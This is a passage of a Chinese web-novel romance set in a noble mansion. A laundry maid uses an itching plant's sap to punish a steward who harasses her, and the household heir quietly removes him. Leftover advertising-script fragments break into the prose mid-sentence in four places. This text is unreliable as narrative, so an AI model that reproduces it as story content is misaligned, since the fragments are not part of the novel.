“你要出府,得有对牌门房才能放行,对牌要问姓韩的拿。”陈大娘思量,“我劝你是别去触霉头,反正下一个旬日快到了,到时再出府没差几天。” 馥梨点头,目送陈大娘离去,倒回大通铺上。 镇国公府草木葳蕤,珍奇锦萃上百种,长在西北那幢飞檐小楼前的棘麻草,是其中最不起眼的,会被视为野草的一种。 棘麻草耐旱耐寒,有绒毛锯齿,人碰到会发痒,若直接接触了汁液,过后没有冲洗,更是要遭大罪。 韩长栋的衣袖和剪子上,就被抹上了这种汁液。 他为色欲自作孽,把手探入那棵九龙丹的枝枝蔓蔓里,便误以为自己是叫毒虫咬了。 这样甚好。 馥梨又眯了半个时辰,才慢腾腾走出了后罩房,打算趁着空闲,再去采摘一些棘麻草备用。 镇国公府的小重楼里,木樨正在忙碌。 每隔一会儿,就去给摊开在黄花梨木案的手稿,小心翼翼地翻个面儿,再一张一张用镇纸压好。 他和荆芥一样,是世子爷的长随。 荆芥专精武艺,他通晓文事,大家负责的事情不一样。这批手稿是世子爷从庐州带回来的,是前朝一位刑部员外郎编撰的《疑狱百录》。手稿多霉污,纸片薄脆,将装订线拆了一页页晾晒,费时费神。 木樨整理到一半,听见陆执方在楼下唤他。 “木樨。” 他顺着楼梯下去,世子爷正在写百寿图,顾名思义,上百种不同笔法的“寿”字构成的一副贺寿图。写字最讲究静心,需得心无旁骛,才能写出好字。 他不敢随意打搅,飞快地观察书案。 纸质绵韧、百折不损的上等生宣铺好,三尺长,三尺宽,已落墨写到一半了,砚台的墨汁充盈,笔洗的清水才换过一轮,连左手边的茶瓯都还袅袅飘香。 世子爷到底需要什么?木樨拧眉。 阳光透过六扇窗格的雕花照入,忽而一晃,又一晃,木樨忍不住侧目,窗外有人,还不是偶尔经过那种,而是忽高忽低,忽远忽近,晃得人心烦意乱。 木樨当下了然。 府里几位郎君,除了长公子,别的都还未娶妻,总有那些不安分的婢女寻些借口在世子爷跟前晃荡。 平地摔跤,落个香帕都是小事,还有那穿一袭薄纱裙来夜探的。世子爷不懂怜香惜玉四个字怎么写,翌日就把人送往城郊田庄去耕田挑粪了。 此事一出,很是打消了一阵不该有的绮念。 也只一阵,毕竟府里年年放良,年年有新仆。 木樨很自觉要承担起这个赶人的重任。 果然,世子爷看着纸面,运笔行云流水,用惯常冷清而威严的嗓音道:“窗外那姑娘,看见了?” “看见了。” “领进来。” “马上赶……”木樨脚步生生顿住,“什么?” 陆执方抬眼瞥他。 冬日萧索的草坪一角。 作丫鬟打扮的少女背对着自己蹲下,小小一只,专心致志到他走近了都没发现,木樨重重咳了一声。 少女肩头一颤,转过脸来,白莹莹似冷瓷,怀里衣兜露出来,是一捧暗绿色的野草。 木樨顿时带了几分同情,觉得她倒霉。 世子爷今日心情不佳,赶走都不行,还要把人领进去训斥。他暗暗摇头:“你是哪个院子里的?进府时候规矩没学好吧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。跟我过来。” “我是前院洗衣房的。” 馥梨不认得木樨,见他衣着光鲜体面,同韩长栋比都不差,料想是哪位郎君身边得脸的人。 她跟着木樨,绕过明廊,入了小楼内里。 原来一楼是间宁静清逸,宽敞气派的大书房。 书案后端坐的年轻公子顿笔,朝她看来,目光先扫过她脸上,继而落到她捧着的衣兜上。 “在窗外晃荡半日,就为了摘这些?” 清冷低磁的嗓音,半句开场话都懒得讲。 馥梨犹豫了片刻,承认道:“是。” 陆执方盯着她:“有何用处?” 馥梨敛下了眼皮,恭恭顺顺地落下视线:“婢子自幼喜欢花草。冬日残绿少,摘一些放在屋内插瓶,看着鲜绿舒心。并非有心打扰世子爷清净的。” 可陆执方似乎并不在意他的清净。 “南面锦萃苑有更好看的。” “好看的不敢摘,怕是府里特地栽种的。 不敢。 陆执方鼻尖里哼出一声轻微的气音,似笑非笑。 馥梨没忍住抬头,撞上他含了几分奚落的目光,心头莫名一跳,攥了攥衣兜边角。视线里,一双簇新的麂皮六合靴,从书案后慢慢移步到她身前。 一尺之遥,陆执方顿步。 馥梨鼻尖闻到了他衣裳上幽冷的熏香,极浅淡。 有什么触碰到她的右手。 她移了移视线,望见陆执方用狼毫笔末端,点了点她松松缠着两圈白纱布的右手,“手抬起来。” 陆执方忽而缓和下去的声线在她头顶漫过。 “受伤了?” 她抿唇,未想好如何回答,那狼毫笔灵活挪动,找到了纱布末端,反方向绕了绕。她手指纤细白皙,除了浣衣生出的两颗冻疮,干干净净地没有伤口。 馥梨难得地感到了几分后悔。 纱布是出门前,为避免摘一会儿草,就要去洗手的麻烦,才随意缠的。陆执方要是怀疑她,她的纱布就像一段形迹可疑、任人拉扯的小尾巴。 可陆执方静了一会儿,没再追问野草或纱布。 “叫什么名字?” “馥梨。” “哪两个字?” “馥郁的馥,梨花的梨。” “水木相生,是个清雅伶俐的名字。” 陆执方不咸不淡夸了一句,麂皮靴远离了她。 “要赏要罚,府里有府里的规矩,以后没事别到小重楼附近来。那些草,不要再摘了。” “婢子晓得。” 馥梨一福身,逃也似地大步遁走,余光望见随着她动作意外掉落的一株棘麻草,捡还是不捡? 没等她想好,木樨已先一步捡起来,心道草毛茸茸,不知到底哪里好看,但攥在手里触感还挺好。 馥梨朝他扬扬衣兜,示意他扔下,走时殷殷叮嘱“这草惹虫子,小哥记得一定要快些去洗把手。” 木樨掌心干干净净连点草屑都没有,不当回事,随意拍两下,就要再去替陆执方研磨。 蓦地,世子爷用狼毫架开了他的手腕,用一种他看不懂的微妙眼神看过来:“洗手,马上。” 5. 第 5 章 小重楼前摘来的棘麻草,馥梨都做成了泥膏,分成两半,塞入装过润肤膏的空罐子里。 一罐给桂枝,一罐自己留着。 桂枝知晓小罐子里头装的是何物后,紧张得差点把罐子摔了,“真的能把人弄成那样?”她听见过韩长栋的丫鬟议论,霎时觉得里头的东西仿佛比砒霜还厉害,心头怦怦跳起来。 馥梨温声安慰她:“算不得什么歹毒的药,起效快消得也快,他不缺请医问药的银子,郎中给些清凉镇痛的药膏一抹,休养个两三日就好了……” 好了以后,还是个面目可憎的老色鬼。 桂枝这么一想,就把小罐子贴身收好,要在前院走动时摸一摸,生出几分心安来。没成想,三日后,小僮照壁来后罩房传话,韩长栋把馥梨工钱扣下了。 照壁把属于洗衣房丫鬟们的月钱一放:“姐姐们的月钱都在这儿了。韩管事说,馥梨姐姐入府不足一月,工钱按日单独算,自个儿去管事账房那头取。” 陈大娘一听就知道有猫腻:“能代领吗?” “管事说得亲自去,代领再转交掰扯不清。” 照壁还小,不懂这些弯弯绕绕,传完话就颠颠儿跑了。今日旬休,恰逢老太太大寿摆宴,想出府的杂役都是一早就出,赶在晌午时分回来。 要遇上缺人了被喊去帮忙,能讨份丰厚赏钱。 陈大娘有心和馥梨说道说道,无奈身边围拢一群眼巴巴等着她分月钱的丫鬟,只得先紧着发下去。 等忙完了定睛一看,“馥梨呢?” 桂枝一直留意着:“四喜最先领的工钱,领完拉着馥梨就走了,说是要到街上去买冰糖葫芦。” 陈大娘皱眉,别是傻乎乎独自去韩长栋那里领工钱就好,什么管事账房,分明是虎穴龙潭! 馥梨也没打算去韩长栋的账房。 她同四喜说回来时再拿,四喜便高高兴兴挽着她的手,从西北小角门出府,“我跟你说,那家糖葫芦的果子可好吃了,不是山楂,而是脆脆的红果……” 她正说得眉飞色舞。 门房的小平哥一拦,“哪个房的?名字?”小平哥跟四喜早混了脸熟,询问目光看向的是馥梨。 四喜没当回事,依旧笑吟吟的道:“她叫馥梨,同我一样是洗衣房的,轮休出府半日。” “哦。”小平哥看了馥梨两眼,侧身让开半步,待四喜先跨过去角门的门槛,转而把馥梨拦下了。 四喜傻了:“小平哥,怎么回事?” “你可以出府,她不能。” “为啥啊?” “我哪知道啊,听吩咐办事!”小平哥两手一揣,朝管事院子的方向努努下巴,“这位馥梨姐姐的事情没办完,今日是不能出府了。” 馥梨看了看愣怔在门外的四喜,视线再越过她,看向镇国公府外头。小角门外是条对街口的巷子,打扫得很干净,今日阳光灿烂,照得两面灰石墙显出点亮白色来。挑货郎的叫卖声、街上游人的笑闹声织成一片与她不相干的热闹,在巷道口若隐若现。 四喜茫然无措地立着。 馥梨冲四喜挥挥手,唇边笑出一颗梨涡:“你自个儿去吧,记得给我带一串冰糖葫芦回来。”丫鬟们旬日出府的机会就一次,跨出门槛就算是用了。 馥梨往回走,先是回了一趟后罩房。 等她磨磨蹭蹭再去到管事账房,已是老夫人寿宴开场的时段,韩长栋忙完迎客那阵子的诸多杂事,正抽空回来喝口热茶,烤烤火炉。 他手上红肿已全消,见馥梨独自前来,露出意味深长的笑,把另一位在打下手的账房先生打发走。 他就说这丫鬟是个知趣的,来得时机刚刚好。 韩长栋起身,轻轻带上了门栓,黏腻的眼神自她脸蛋扫到腰间,伸手一指书案:“馥梨是吧?你的工钱可不好算,来,我同你说说清楚。” “劳烦管事了。” 馥梨依言走过去,见书案西侧是一堵镂空隔断,一张简易长榻摆在后头,枕被随意散着,还放着一件挺括新净的缎子褂,领口缀一圈油亮的绒毛。 显然是韩长栋回屋后嫌热脱下来的。 * 寿宴已开场多时了。 宴会厅里高朋满座,老夫人难得盛装打扮一回,乐呵呵地坐在主位,看府里各位小辈轮着给她祝寿。 她最疼爱的孙儿陆执方行二,很快就到他。 眉目俊朗,身姿如鹤的青年一撩衣摆,朝她郑重行了晚辈的跪礼:“孙儿祝祖母百岁平安,人共梅花老岁寒,岁岁不改冰霜颜。” 老夫人笑眯眯:“好好,快些起来。” 跟在陆执方身后的木樨亦起身,徐徐展开了已经装裱好的百寿图,乍看是个笔墨飞扬的大“寿”字,里头全是笔法不一的小寿,个个神形骨俱全。 他家世子爷是宣德十二年的探花郎。 入仕后又过了博学鸿词科的选拔,文采斐然,于书法一道同样出类拔萃,就连少时在国子监留的墨宝都有人设法弄到去倒卖。 宾客里有擅书法的老先生大赞:“好字啊。” 老夫人眼角笑纹更深了些:“拿来我看看。” 木樨捧到老夫人跟前,老夫人接过,一个个小字看过去,忽而留意到纸张裱的两行隔界,细绫上头是密密织成的熟悉花纹,她忍不住唤了陆执方的小名。 “陵哥儿……这是,这是?” “是祖母家的家徽。孙儿不知祖母喜欢怎么样的花样绣纹,料想这个,祖母是会喜欢的。” 陆执方神色难得柔和了一些,祖母家在南方,到这个岁数已少有频频来往的娘家人,偶尔同他说起在闺阁时家族繁盛的日子,面上都隐隐有怅惘之色。 老夫人同身侧跟了几十年的嬷嬷对视一眼,都从彼此的眼里看到了感慨万千:“你打哪儿找来的?就是我自个儿院里,能找到有家徽的物件都不多了。” 现世女子嫁人,嫁入他家,就是落地生根,很多痕迹都会慢慢被时间磨掉。 “少时顽劣,看了喜欢的东西,就想收入囊中,曾经问祖母讨要过一枚玉佩,上头就有您的家徽。” 陆执方想到那个从畅和堂里头特地找出来的楠木匣子,里头稀奇古怪的,全是少时爱不释手的珍宝,还珍而重之把钥匙偷藏在树洞里。 老夫人早记不起何时被他讨去什么玉佩,只攥着陆执方的手拍拍:“陵哥儿有心,我很喜欢。” 人一高兴,就忘了郎中清淡节制的饮食叮嘱,何况今日还是大喜,她没忍住吃了点酒,撑到寿宴下场已醉了七八分,摇摇晃晃点名要陆执方扶她回去。 主家离席,不少宾客看着时辰,也将离去。 陆执方扶着祖母,出了宴客厅,踏在铺得平整的游廊木板上,步子刻意放得很缓慢。 “陵哥儿,祖母六十岁咯。” “按百岁算,还很年轻。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “陵哥儿几岁了?” 陆执方以为她老人家当真忘了,“二十有三。” 老夫人温吞吞地话锋一转:“二十三在谈婚论嫁的郎君之中,可不算年轻,你说是也不是?” 陆执方无奈牵了牵嘴角,并不答话。 老夫人顿步看他,人老了眼皮轻微耷拉,但双眸仍有清而不浊的神采,“陵哥儿,别太挑剔了,人的左右手就是从掌纹瞧,都没有完完全全对称的,世间哪里找个从头到脚都叫你称心如意的完人?” 她这个孙儿,天资聪颖,少年成名,自打入大理寺后识人断案,更是往见微知著的路子钻。 有时难免让人觉得是不是走了极端。 给她一个老太太预备寿礼,连隔界花纹这样的细枝末节都考虑得一清二楚,何况是打算相看的姑娘。 今日觉得这个姑娘自称醉心诗词,却说不出晏喆先生的词与李斐然先生的诗孰优孰劣,话不投机。 明日偏说那个姑娘嗜甜嗜辣,同他吃不到一桌。 这是相看姑娘吗? 这是还没开窍!不知道情字几笔几划怎么写。 老太太叹了口气,收到寿礼的感动淡去,变成了几分嫌弃:“就送到这儿吧,你替我去前头送宾客,尤其是那些年纪大的,老胳膊老腿来一趟不容易。” 陆执方立在原地,看嬷嬷扶着祖母入了垂花门。 天边乌金西坠,霞色稀薄,厅里应是有宾客适时离去了。祖母嘴里的高龄宾客,只要是独自赴宴或者行动不便的,府中管事都会安排车马或轿辇相送。 因此他并不着急,同木樨慢慢走着。 直到快挨近了正门影壁,隐隐听见骚乱惊呼声,夹杂着宾客的议论声: “哎哟!” “怎么回事?” “怪吓人的……” 陆执方转头,只一眼,木樨便大步跑去查看了。 不消片刻,人再匆匆跑回,脸色一言难尽。 “韩管事许是吃错东西,或被蜜蜂蛰咬,”木樨没见过前几日韩长栋的胳膊长什么样,在有限经验里给出推断,“颈脖和下半张脸红一块紫一块,吓着了少部分宾客而不自知。我已经叫他先回避了,副管事很快便会赶来顶替。” 木樨话刚落,陆执方就见韩长栋像个姑娘似的,以袖遮面,匆匆贴着墙沿往回走,还被地面小石绊了个踉踉跄跄,露出一张滑稽浮肿、本就不英俊的脸。 门庭宾客众多,不知多少人见了他这怪模怪样。 陆执方蹙眉,同木樨上前安抚宾客,等到副管事来接手,脑海里浮现是还是一张无辜至极的芙蓉面。 清凌凌的眼眸如濯甘泉,顾盼间有种宁静。 她一个丫鬟,能和韩长栋有什么过节? 以至于要两次三番给他使绊子。 又或者,从韩长栋身上推,粗使丫鬟都归年资长的仆妇看管,他怎么总爱往她跟前凑? 陆执方心念飞转,脚下步子也快。 不自觉停在了上次他遇见韩长栋和馥梨的地方。 木樨百思不得其解,世子爷为何停在这里?转头就见在小重楼外采野草的那个丫鬟路过。小丫鬟还是穿一身素色棉袄,领口盘扣崩开了,翻出个领角儿。 木樨还只是觉得奇怪。 世子爷已迈出一步堵住了那丫鬟去路,语调蕴着只有近身伺候的人才听得出的急,“谁弄的?” 6. 第 6 章 “谁弄的?” 陆执方声线里的严厉,听在馥梨耳中,再对上他惯常冷沉的眉目,全成了四个字:兴师问罪。 世子告诫过她,那些草,不要再摘了。 对韩长栋使的那些小把戏,不要再用了。 今日韩长栋在一众宾客面前出丑,不论是否事出有因,惹来的议论是同镇国公府的名字挂上的。 馥梨有几分无措。 青年穿一身适合寿宴的银红滚边白缎袍,卷草纹宽腰带勒出一段韧薄的腰身。明明是喜庆中透着矜贵的装束,此刻有如官袍加身,神情隐隐都是威势。 她安静了一会儿,眼尾垂下去。 陆执方语气缓了缓:“说话。” “就是世子想的那般,”她轻声承认,语调里有几分委屈,有更多的是理直气壮的坚持,“要罚工钱还是别的,婢子都接受。我愿意领罚,是为搅扰了老夫人的寿宴觉得愧疚,但不觉得自己做错了。” 陆执方神情变了变。 馥梨没等到惩罚,只等到陆执方那股气势忽地散去,整个人好似温和了几分。宴会厅那头再有宾客三三两两走出,还有仆役朝他们这边张望。 陆执方退一步,让出了去路。 “别乱跑,回去你该待着的地方。” 馥梨一呆。 “还不走?” “婢子告退。” 少女明眸恢复了往日神采,冲他一福身就跑,跑得比那日在小重楼摘草还快,仿佛逃过一劫,到了移步换景的庭院里,像放归山林的小鹿。 陆执方回忆她方才的模样。 冬衣层层叠叠,开了扣的衣领实则无伤大雅,只露出来一段柔美颈脖,如白玉无瑕,看不出可疑的端倪,低处有颗小小的红痣,若隐若现。 他知她心生误会,但没打算解释。 这里是镇国公府,他家,他想知道真相,方法有很多种,不是非要经过一个小丫鬟的口。 当天夜里,荆芥就去到了韩长栋起居的院落。 韩长栋脸颊与颈脖火烧火燎的痛,正躺在床上辗转反侧,憋了一肚子的窝火。事到如今,他可算察觉出来不对味,第一次是毒虫,第二次呢? 怎地次次倒霉都同馥梨这丫头有关? 他还道这是个水性杨花,没说几句就嫌弃屋内炭炉烧得热,叫他背过身去,待她将身上袄子脱了。 他等了半日再转身,雕花隔断后的长榻旁,少女青葱十指仍旧磨磨蹭蹭绕在领口。他急不可耐,才扯开一颗,栓好的屋门就被拍得震天响。 洗衣房的仆妇生得虎背熊腰,嗓门更是粗大。 “好你个死丫头!洗坏了主子绸衣还藏着掖着,还敢骗我说丢了!你给我出来对质!” “韩管事!韩管事你先别给她支工钱!” “这笔账不能叫她就这么逃了!你别被骗了!” “馥梨,你给老娘死出来!” 旬日府里有一半仆役轮休,一半在寿宴忙碌。 那时正是两边都躲闲的时刻,仆妇声嘶力竭的大嗓门,不消多久就会惹来爱看热闹的人围观。他好事被打断了,既恼火,又迫于无奈又不得不开门。 眼下回味,去他娘的,就是在演双簧! 这丫鬟好歹毒的心思,竟刻意叫他在老夫人寿宴这么重要的场合丢了脸面。 韩长栋翻了个侧,怎么睡都不舒坦,后槽牙咬得死紧,过两日等他好了,不,就明日,明日就把人收拾……忽地,他的屋门又被怦怦怦拍响了。 韩长栋今日听不得拍门声。 他深吸一口气,沉着脸披衣开门,待看清楚来人是陆执方的近身护卫后,艰难地扯动嘴角笑了笑。 “这么晚了,可是静思阁那边有什么吩咐?” “世子爷听闻管事身子不适,叫我来看望。” 韩长栋心里一松。 大太太掌家,虽然今日特意请了相熟郎中来给他开药,但言语间已对他最近的表现颇有微词。 若是有世子爷看好他,就不一样了。 “小人无事,休养个两三日就好。” “两三日怕是不够,”荆芥语气寻常,“世子爷说为避免韩管事太过劳累,旧疾复发,最好养上十天半月,没事就在院子里待着静养。” 韩长栋还在细细咂摸,这话有点不对劲。 荆芥朝他伸手:“府中上上下下归管事房的钥匙、库房印章、账簿等,都先交出来。” 韩长栋脸色一白:“世子爷这是何意啊?”这些个物什都交了,他这管事位置还坐得稳吗? 荆芥不语,眉头挑起看他。 “莫不是恼我今日在府门惊吓了宾客?是有人要刻意害我!我有证据,世子爷明鉴啊!”韩长栋转身,要去拿那件衣领有黏腻痕迹的褂子。 肩头忽而一沉,荆芥大掌把他钳在了原地。 习武之人的力道,不是寻常人能比的,韩长栋的皮肤正热辣痛着,顿时叫声都变了调。 “哎哟,轻、轻些……” 荆芥不耐烦,他就说这事儿该木樨来办,文绉绉的斯文模样他装不了太久的:“世子爷让交什么交什么,哪来的这么多废话啊?” 韩长栋嘴唇嗫嚅:“这些交出来,给谁?” 荆芥一指门外,韩长栋才看见半敞开的屋门后,站着副管事高扬,心里一咯噔。 高扬幸灾乐祸的笑快掩不住:“韩管事别操心,好好休养,府务和账务我定然会好,好,打,理。” 京中高官府里的管事,哪个手里是清清白白的,便是账面上干净,私底下的油水进账都不会少。 何况,他的账面还不干净。 韩长栋脸色惨白,一屁股跌坐在凳上。 高扬收敛了笑意,静思阁里,是世子爷亲口叮嘱,“代管半个月,能不能继续管,全凭你本事。” 他岂能让这等好机会白白流走。 寿宴过后的镇国公府比往夜更安静。 参与寿宴筹备的仆役早早陷入了沉睡,轮到旬休的同样躲入了暖洋洋的被窝,冬月里太冷了。除了当事几人,尚无人得知这场管辖权利的让渡。 后罩房那头,有间属于仆妇的房间还燃着灯。 陈大娘将灯芯拨亮了些,手中捻起针线,给馥梨缝那崩开的扣子。馥梨披着她的旧棉被,坐在床边,露出小巧精致的脸庞来,“今日大娘来得真及时。” “你还笑得出来。” “为何笑不出?” “姓韩的回过味儿来,就该找你麻烦了。” “我还有大娘呀。” “去去,谁管你,我那是看在银钱份上。” 洗衣房是个没油水的地儿,差事干得好不见得有赏,干得不好必定被罚。馥梨今日被门房拦下,回头来劝说她掐着点儿去管事账房捞人,就是承诺往后的月钱都腾一部分给她。她掂量一番得失,点了头。 馥梨仍旧是笑,杏眸映着暖灯的光。 陈大娘咬断了线头,抻了抻衣领,“试试。” 她从被子里钻出来,套上袄子低头扣好:“大娘别替我担心,船到桥头自然直。” “我不操心。”陈大娘撵她,看她到门槛 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 处,没忍住点了句,“实在不行,你就去求求三公子。” 三公子陆仲堪是个活泼开朗的,对美人儿怜惜多情,就同二公子毫不留情把人送去田庄耕田一般,是小丫鬟们夜里躲在被窝老生常谈的话题。 馥梨听出这话里的含义,摇头一笑,走了出去。 夜空如墨,明月高悬。 她仰头定定看了好一会儿,这一日事情多而纷杂,此时静下来,才觉出几分疲倦。要是阿兄在,一拳头就能把韩长栋打趴下,哪里需她这样大费周章。 少女纤薄身影在月色下被拉得斜长。 那身影转动,出了后罩房,往畅和堂的方向去,全然没注意尾随在自己身后的一道黑影。黑影不远不近跟着她,看她提灯进了畅和堂后院的小树林,当下蹑足一点,轻功三两下往另一处院落去。 馥梨再从树林里出来时,心绪已平静许多。 畅和堂的月洞门下,有男子高大身影伫立。 馥梨握灯的手不由紧了紧,左右看看,出畅和堂只这一条路,决计绕不开去。 她硬着头皮走近:“世子爷。” 风灯摇摇晃晃,照亮了陆执方那张好整以暇的俊脸。青年未束冠,乌发用木簪半挽,系条鹤青色的毛领披风,底下露出一身燕居袍。 陆执方目光掠过她修补好的领口,如清泉舒朗的声音幽幽:“你当真是把我的话当作耳旁风。” 馥梨一噎,不知他说的是哪句话。 “夜里来畅和堂做什么?” 他问得随意放松,抬脚往月洞门外走。 馥梨只得快步跟上,绞尽脑汁地想借口,还未想出来,忽而被陆执方投来警告的一瞥,别糊弄我。 馥梨讲了一半真话:“少时家中也有片林子,同此处十分相似,心中烦闷或想家了就来逛一逛。” “那今夜是烦闷,还是想家?” “……都不是。” 陆执方抬了抬眉梢。 馥梨抿了抿唇,老老实实道:“有些后怕。” 陆执方冷笑:“怕了才好。” 怕了才会掂量后果,不敢兵行险着。 见他不再问,馥梨也不再多话。 陆执方同她走到畅和堂院门,手里那盏更明亮的风灯换给她,“明日过后,韩长栋不会再来找你麻烦。至于今夜,别再到处乱跑,回你的后罩房。” 馥梨露出些不解的表情。 陆执方只是轻描淡写补充:“若是叫我的人看见了,一次扣一吊钱。” 她错愕,她一年的工钱拢共都没几吊。 陆执方唤了一句,“荆芥,把她送回去。” 不知藏匿在何处的护卫突然现身,把馥梨吓了一跳。高挑魁梧的男人恭恭敬敬,做了个请的手势。 她再看一眼陆执方,攥着灯同荆芥走了。 陆执方未回静思阁。 他折身返回畅和堂,停在他少时藏钥匙的树洞前。小灯映照,里头如他所料,多出了一枚纸蜻蜓。 纸蜻蜓的主人是谁,已无需再探查了。 之前的几张,记录的全是府里日常零碎,一笔一划勾勒得生趣盎然。这日里,出府门被拦下、工钱被扣下、以身为饵去斗智斗勇,即便不看,也能料到她心里该是委屈的。陆执方罕见地想做些补偿。 他将灯架在树杈上,拆开纸蜻蜓,哑然失笑。 皱巴巴的纸面是一段窄巷,花团锦簇的繁华大街在巷口露出一角,同落墨极简的巷道对比鲜明。 少女的簪花小楷透着眼巴巴的味道。 “想出府玩。” 7. 第 7 章 副管事高扬全盘接手府务的消息,翌日一早传遍前院仆役的耳朵里。洗衣房正是最忙碌的时候,寿宴撤下来的各种布幔又得重新洗了入库房。 馥梨正同四喜合力,拧一条吸饱了水后重得吓人的绒面桌布,就见高扬和照壁过来了。照壁手上端了大托盘,甜蜜浓郁的香气融混入洗衣房的皂角味里。 托盘上的白细布揭开。 酥蜜寒具、曼陀样夹饼、金乳酥……托盘上堆得像小山,各色繁多还有好几眼见都没见过的。 四喜眼睛都挪不开了:“呀!好多点心!” 高扬目光在洗衣房转一圈,落回到陈大娘面上:“是昨日摆宴剩下的点心,洗衣房活儿重,府里分多一些给你们,最迟还能放个两三日不坏。” “全是洗衣房的?”陈大娘惊喜。 宴饮剩余的好东西都是近水楼台,大厨房自己先分配,几时轮得上她们?即便轮到,都是挑剩下的。 可眼前这些卖相完整,花样颜色都精巧着呢。 高扬示意照壁寻个位置放下,“老夫人还给各院发了赏钱,大娘看着自行分配,寿宴的物什洗完了,今日就算放工,天黑前小角门还能再出入一回。” 高扬领着照壁离去。 洗衣房内众人都还有些懵。 陈大娘最先回神,原还想今日怕是不好过,没料到是因祸得福了。她看一眼点心盘子,再看一眼隐隐兴奋的姑娘们,“要点心,要铜板儿,还是要玩?” 四喜最实诚:“我……我都想要!” 陈大娘笑骂她一句:“没听到高管事的话?还不抓紧把活儿做完,做完了就都有了。” 洗衣房里欢呼一声,水声哗哗。 高扬的话不假,晌午过后,洗衣房丫鬟有一个算一个,门房都给放行了。老夫人的赏钱不少,姑娘们欢欢喜喜去了买胭脂面膏的铺子。 馥梨也跟着去凑热闹了。 胭脂铺里出了新花样,但凡是买了物件,就算是最便宜一盒的眉黛,店铺伙计都给客人重新梳妆。 胭脂铺的伙计,尽是些嘴甜手巧的大姐姐。 螺髻、小髻、牡丹髻、百合髻……不算复杂,但胜在精致,配上画眉和口脂,足够叫人眼前一亮。 这花招吸引不了有贴身婢女专门梳妆的高门闺秀,却很吸引有小闲钱又愿意打扮的民间姑娘。 四喜已经走不动道了,赏钱还没捂热就花了去。 桂枝看中一盒面膏,本还犹豫,瞧见四喜打扮过后的俏丽模样后,当即掏出了荷包。伙计要将她带去铜镜前,桂枝摆摆手:“不给我梳,可以吗?” “可以呀,客人能指定其他姑娘。” “给她试试,劳烦姐姐了。” 桂枝拉过进店后一直安安静静四处瞧的馥梨,把她按坐到了铜镜前。镜面映出了少女茫然困惑的脸,如一枝带雨桃花,静谧暄妍。 伙计霎时来了精神。 长街正是车水马龙,游人如织的繁忙时刻。 相距胭脂铺甚远的大理寺官署里,陆执方已忙碌大半日,先是向上呈报了庐州之行,接着提笔处理积压的案牍,案头博山炉上,袅袅游丝静转。 负责协理的大理司直程宝川就站在一旁看。 按规定,大理寺正和评事官复审完毕的案子需得交由大理寺少卿批复。这桩幼童拐卖案,已经抓到了犯人,家里查到了赃银,有签字画押的供词,接手的寺正复核了死刑,同审的两位评事官附议。 陆执方提笔落墨,却是照驳重审的意见。 程宝川看得清楚,顿时觉得嘴角又燎起颗水泡,“小陆大人,这、这案子是不是再看看好?” “程司直不是陪着我看了半时辰?” “被拐卖幼童是京畿常乐县县令家的,同都察院的陈御史沾亲带故……”案子办得飞快,还有陈大人来打招呼,就等着把人贩子斩了以泄心头之愤。 万万没想到,在陆执方这里被卡了道。 陆执方将他着急上火的模样看在眼里:“程司直觉得要如何判?”说话间,手中狼毫就要递给他。 程宝川哪里敢接,头摇得像拨浪鼓:“下官只是不明白,此案哪里还有疑虑的地方?” 若陈御史问起来,他可得有个交待。 陆执方官阶低陈御史一级,奈何家世过硬,兼得圣上器重,驳了判决眼睛都不带眨的。但他只是一个小小六品官,夹在中间很为难呀。 陆执方将文牍中的好几份抽出来,“看看。” 程宝川一目十行翻阅起来,渐渐地,眉头皱起,“小陆大人,你是觉得这些案子……”大理寺左、右寺分理京畿各县及地方州府的刑名事务,案子是按照归属地分别审核的,再到陆执方的案头汇聚。 这几起幼童拐卖案,都抓到犯人,有赃银或不止一位目睹拐卖的人证,可都不肯交待儿童被贩卖到何处,一口咬定在拐卖路上逃脱走丢了。 “驳回去,交由刑部重新统办。” “下官明白了。” 程宝川压在心头的大石一松,成堆文牍转给司务递送,再陪着陆执方去狱中复核其他案件的供词。 从大理寺狱出来,已是暮色朦胧,余晖淡薄。 早过了散衙时辰,两人处理完首尾,一同去后衙马厩。马厩里稀稀落落,不止有银鞍宝马,还有更为便宜好养的代步驴子,不分贵贱地拘在了一起。 程宝川骑上他的大黑驴,同陆执方并行,叫衙外凛冽寒风一吹,打了个哆嗦,只恨自己没钱坐轿。 他年轻有为的上峰,小陆大人,人比他高,马比他骏,面不改色一夹马腹,撞入了疾行的冷风里。 镇国公府不缺维护雕车宝马的银钱。 共事三载,他从未见陆执方乘过车轿,怪了。 程宝川是纳闷,镇国公府的仆役却早看惯了。 西门距静思阁最近,世子爷习惯打马走西门。 府人见陆执方翻身下马,迎上去熟练牵走马匹去刷毛喂食。木樨掐着时辰守在门檐下,跟在陆执方右后侧禀告:“世子爷,大太太让你下衙去一趟,似乎是……是关于韩管事的事情。” 陆执方并不意外。 母亲掌家,他插手府务,这事本就越不过她。 他摘了官帽递去,“我换件衣衫再去同母亲问安。”两人顺着抄手游廊往静思阁去。 木樨继续禀告:“还有高管事说,事情办了。” “她出府了?” “姑娘在未时出府,我等爷下衙时,还未回。” 木樨嘴里的姑娘,并非府里小姐,而是馥梨。因还未到静思阁的地盘,他说话带了份谨慎。 陆执方唇边不着痕迹勾了勾,小角门供府人出入有禁行时辰,想来是玩得尽兴,才姗姗归迟。 正这么想着,游廊拐角就传来一阵笑闹。 如银铃轻撞,似鸟雀啾啾,一听就尽是些小姑娘的聒噪。陆执方没绕路,颀长身形乍然在拐角一现。 吱吱喳喳的几人齐刷刷噤声,成了一声不吭的鹌鹑,脑袋缩着,往一旁贴,生怕挡着他的道。 丫鬟们慢了半拍才稀稀落落道,“世子爷 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” 陆执方稍一顿步,视线朝几人扫去,将馥梨偷偷看他的目光逮了个正着。馥梨眨眼,把脑袋低下去,发饰有颗小珠子乱晃。 发饰。 陆执方总算察觉了她那种不同之处。 总是潦草地分梳两边的乌发,挽成单螺,用荷色缎带勾一颗丹珠,很是俏皮灵动。 但总觉得,缺了点什么。 